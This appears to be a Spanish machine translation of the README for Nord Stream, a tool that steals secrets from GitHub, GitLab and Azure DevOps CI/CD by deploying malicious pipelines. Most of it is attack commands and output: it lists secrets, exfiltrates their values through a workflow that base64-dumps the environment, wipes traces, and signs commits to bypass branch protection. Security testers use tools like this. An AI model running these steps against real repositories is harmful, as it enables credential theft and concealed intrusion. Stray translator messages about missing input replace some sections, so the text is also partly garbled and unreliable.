
Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos. Actualmente es compatible con Azure DevOps, GitHub y GitLab.
Nord Stream es una herramienta que permite extraer secretos almacenados en entornos CI/CD mediante el despliegue de pipelines maliciosos.
Actualmente es compatible con Azure DevOps, GitHub y GitLab.
Puedes encontrar más información en el siguiente artículo de blog: https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and-tricks
$ pipx install git+https://github.com/synacktiv/nord-stream
`git` también es necesario (ver https://git-scm.com/download/) y debe existir en tu `PATH`.
## Uso
Aquí tienes un ejemplo simple en GitHub; inicialmente, se pueden enumerar los distintos secretos.```sh
$ nord-stream github --token "$GHP" --org org --list-secrets --repo repo
[*] Listing secrets:
[*] "org/repo" secrets
[*] Repo secrets:
- REPO_SECRET
- SUPER_SECRET
[*] PROD secrets:
- PROD_SECRET
A continuación, proceda con la exfiltración:```sh
$ nord-stream github --token "$GHP" --org org --repo repo
[+] "org/repo"
[] No branch protection rule found on "dev_remote_ea5Eu/test/v1" branch
[] Getting secrets from repo: "org/repo"
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_SUPER_SECRET=value for super secret
secret_REPO_SECRET=repository secret
[] Getting secrets from environment: "PROD" (org/repo) [] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Secrets: secret_PROD_SECRET=Value only accessible from prod environment
[] Cleaning logs. [] Check output: /home/hugov/Documents/pentest/RD/CICD/tools/nord-stream/nord-stream/nord-stream-logs/github
### Argumentos compartidos
Algunos argumentos se comparten entre [GitHub](#github), [Azure DevOps](#azure-devops) y [GitLab](#gitlab); aquí hay algunos ejemplos.
#### Describir token
La opción `--describe-token` se puede utilizar para mostrar información general sobre tu token:```bash
$ nord-stream github --token "$PAT" --describe-token
[*] Token information:
- Login: CICD
- IsAdmin: False
- Id: 1337
- Bio: None
La opción --build-yaml se puede utilizar para crear un archivo de pipeline sin desplegarlo. Recupera los distintos nombres de secretos para construir el pipeline asociado, que se puede utilizar para añadir pasos personalizados:```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --env PROD --build-yaml custom.yml
[+] YAML file:
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: env -0 | awk -v RS='\0' '/^secret_/ {print $0}' | base64 -w0 | base64 -w0
name: command
env:
secret_PROD_SECRET: ${{secrets.PROD_SECRET}}
environment: PROD
#### YAML
La opción `--yaml` se puede utilizar para desplegar un pipeline personalizado:```yml
name: GitHub Actions
'on': push
jobs:
init:
runs-on: ubuntu-latest
steps:
- run: echo "Hello from step 1"
name: step 1
- run: echo "Doing some important stuff here"
name: command
- run: echo "Hello from last step "
name: last step
No se ha proporcionado el contenido del fragmento (chunk 13). Envíe el bloque de texto en inglés para poder traducirlo al español.```bash $ nord-stream github --token "$PAT" --org Synacktiv --repo repo --yaml custom.yml [+] "synacktiv/repo" [] No branch protection rule found on "dev_remote_ea5Eu/test/v1"branch [] Running custom workflow: .../custom.yml [*] Getting workflow output [!] Workflow not finished, sleeping for 15s [+] Workflow has successfully terminated. [+] Workflow output: 2023-07-18T20:08:33.0073670Z ##[group]Run echo "Doing some important stuff here" 2023-07-18T20:08:33.0074247Z echo "Doing some important stuff here" 2023-07-18T20:08:33.0136846Z shell: /usr/bin/bash -e {0} 2023-07-18T20:08:33.0137261Z ##[endgroup] 2023-07-18T20:08:33.0422019Z Doing some important stuff here
[] Cleaning logs. [] Check output: .../nord-stream-logs/github
Por defecto, mostrará la salida de la tarea denominada `command` del trabajo `init`, pero todo se almacena localmente y se puede acceder manualmente:```bash
$ cat nord-stream-logs/github/synacktiv/repo/workflow_custom_2023-07-18_22-08-44/init/4_last\ step.txt
2023-07-18T20:08:33.0458509Z ##[group]Run echo "Hello from last step "
2023-07-18T20:08:33.0459084Z echo "Hello from last step "
2023-07-18T20:08:33.0511473Z shell: /usr/bin/bash -e {0}
2023-07-18T20:08:33.0511890Z ##[endgroup]
2023-07-18T20:08:33.0597853Z Hello from last step
De forma predeterminada, Nord Stream intentará eliminar los rastros dejados tras el despliegue de un pipeline, dependiendo de tus privilegios. Para conservar los rastros, se puede utilizar la opción --no-clean. Esto conservará los registros del pipeline, pero aun así revertirá los cambios realizados en el repositorio.
Ten en cuenta que, en GitLab, algunos rastros no se pueden eliminar.
Los administradores del repositorio pueden imponer la firma obligatoria de commits en una rama para bloquear todos los commits que no estén firmados y verificados. Con Nord Stream es posible firmar commits para eludir dicha protección.
Primero, crea e importa tu clave GPG en la plataforma SCM.```sh $ gpg --full-generate-key $ gpg --armor --export F94496913C43EFC5 $ gpg --list-secret-keys --keyid-format=long sec dsa2048/F94496913C43EFC5 2023-07-18 [SC] [expires: 2023-07-23] Key fingerprint = B158 3F43 9899 C5A3 B74E D04B F944 9691 3C43 EFC5 uid [ultimate] test-gpg [email protected]
No se proporcionó contenido en el campo INPUT. No hay texto que traducir.```bash
$ nord-stream github --token "$PAT" --org Synacktiv --repo repo --branch-name main --key-id F94496913C43EFC5 --user test-gpg --email [email protected] --force
[*] Using branch: "main"
[+] "synacktiv/repo"
[*] Getting secrets from environment: "prod" (synacktiv/repo)
[*] Getting workflow output
[!] Workflow not finished, sleeping for 15s
[+] Workflow has successfully terminated.
[+] Secrets:
secret_PROD_SECRET=my PROD_SECRET
Paquetes necesarios: instalar